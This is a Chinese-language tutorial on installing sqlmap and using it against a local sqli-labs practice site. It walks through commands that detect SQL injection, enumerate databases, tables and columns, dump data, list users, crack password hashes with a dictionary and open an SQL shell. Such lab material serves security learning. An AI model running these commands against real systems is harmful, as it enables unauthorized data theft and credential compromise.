sqlmap 是一个自动化的 SQL 注入工具,主要功能是扫描、发现并利用给定 url 的 sql 注入漏洞,内置了很多绕过插件,支持的数据库是 MySQL、Oracle、PostgreSQL、Microsoft SQL server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和 SAP MaxDB。
sqlmap 采用的 sql 注入技术:
- 基于布尔类型的盲注。可以工具返回页面判断条件真假的注入。
- 基于时间的盲注。不能工具页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否被执行来判断。
- 基于报错注入。页面会返回错误信息,或者把注入的语句结果直接返回到页面中。
- 联合查询注入。可以使用 union 的情况下的注入。
- 堆查询注入。可以执行多条语句时的注入。
sqlmap官网下载 :http://sqlmap.org/
点击下载压缩包。

将文件解压在 python 的安装路径下。
如我的是在 E 盘的 Python27 文件夹下。

然后在 cmd 命令行里先进入这个目录,再执行语句。
为了方便,我们可以在桌面右键创建一个快捷方式。
对象位置填写 cmd 。

名称根据自己来定。

创建好后,打开这个快捷方式的属性,修改起始位置为 sqlmap 的文件路径。

这样点击快捷方式就已经在路径下了,不用每次 cd 进入文件路径。
然后输入命令:
sqlmap.py
可以看到 sqlmap 成功运行了。
我这里因为同时装了 python2 和python3 ,所以需要在语句前加上 python2 ,不然系统无法自己识别。
所以后面的命令测试都在前面加了 python2 ;如果只装了一个 python2 而没有装 python3 ,就可以不用加,直接 sqlmap.py 后面接命令。

——
——
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1
如果注入点后面的参数大于等于两个时,需要加双引号,如:
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1&uid=2 "
可以看到显示存在注入。

紧跟着上图,可以看到底下会有选择,会出现三个输入 [Y/n] ,一般默认按回车键即可。
第一处意为检测数据库可能是 MySQL ,是否需要跳过检测其他数据库;
第二处意为在“ level 、riskl ”的情况下,是否使用 MySQL 对应的所有 payload 进行检测;
第三处意为参数 id 存在漏洞,是否继续检测其他参数。

——
sqlmap 可以从一个文本文件中获取 HTTP 请求,这样就可以不设置其他参数(如 cookie 、post 数据等),
txt 文本中的内容为 web 数据包。

判断是否存在注入,构造命令( -r 一般在存在 cookie 注入时使用 ):
python2 sqlmap.py -r C:UsersGoodricDesktop/1.txt

——
用前面的命令确定网址存在注入点后,接下来可以利用确定了的注入点查询当前用户下的所有数据库。
(前提:当前用户有权限读取包含所有数据库列表学习的表)
构造命令:
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --dbs
得到所有数据库名

——
查询出数据库名后,再查询指定数据库中的所有表名。
命令中 -D 参数用来指定某一个具体的数据库,如果不使用,就会列出所有数据库中的所有表。
构造命令:
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D sys --tables
得到 sys 数据库中的 101 个表名。

——
命令中的 -T 时 --tables 的缩写。
得到 host_summary 表中的所有字段名。

后续的注入中,–columns 缩写成 -C ,就像前面的 --tables 缩写成 -T 。
——
查询完字段名后,再进行获取字段中的具体数据信息。
构造命令:
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 -D sys -T host_summary -C host,statements -dump
得到字段 host 和 statements 的具体数据。

——
前提:当前用户有权限读取包含所有用户的表的权限。
使用该命令可以列出所有管理用户。
构造命令:
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --users
得到数据库中的所有用户 。

——
如果当前用户有读取包含用户密码的权限,会先列举出用户,然后列出 Hash。
该命令的作用是列出数据库用户的密码。
构造命令:
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --passwords
这里出现了几个选项。
第一个意为是否将哈希存储到临时文件,以便最终使用其他根据进行进一步处理。
第二个意为是否要对检索到的密码哈希执行基于字典的攻击。
第三处是选择用哪本字典:
[1]自带的字典(点击回车即可)
[2]自定义字典
[3]包含字典文件列表的文件
第四处意为是否使用通用密码后缀。
我这里是一直回车下去,即最终选择了自带的字典。
前两个用户名密码显示这不是可以在自带字典里使用的有效密码
得到第三个用户 root 的密码为 root 。

——
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --current-db
得到当前网址数据库为 security 。

——
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --current-user
得到用户为 root 。

参数 --level 5 指需要执行的测试等级,一共有 5 个等级(1~5),可不加 level ,则默认为 1 .
level 2 :cookie 注入
level 3:user-agent 、referer
level 5:host
5 级包含的 payload 最多,会自动激活成功教程出 cookie 、XFF 等头部注入,不过运行的速度也最慢。
——
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --is-dba
可以看到结果为 True 或者 False 。

——
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --roles
不过,该命令适用于当前数据库是 Oracle 的时候。
然后我这里测试数据库为 MySQL ,可以看到下图中出现黄色字体的警告,意为在 MySQL 上,roles 的概念不存在,不过 sqlmap 还是会为我们枚举权限,而不是获取数据库用户权限。

——
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --referer http://www.baidu.com
–sql-shell : 运行自定义 sql 语句
该命令用于指定的 sql 语句。
如要执行语句:
select * from users limit 0,1
先构造命令:
python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --sql-shell
执行了命令后,会给出一行让我们输入所要执行的命令,就在对我们的自定义命令进行执行。

版权声明:
本文来源网络,所有图片文章版权属于原作者,如有侵权,联系删除。
本文网址:https://www.mushiming.com/mjsbk/7763.html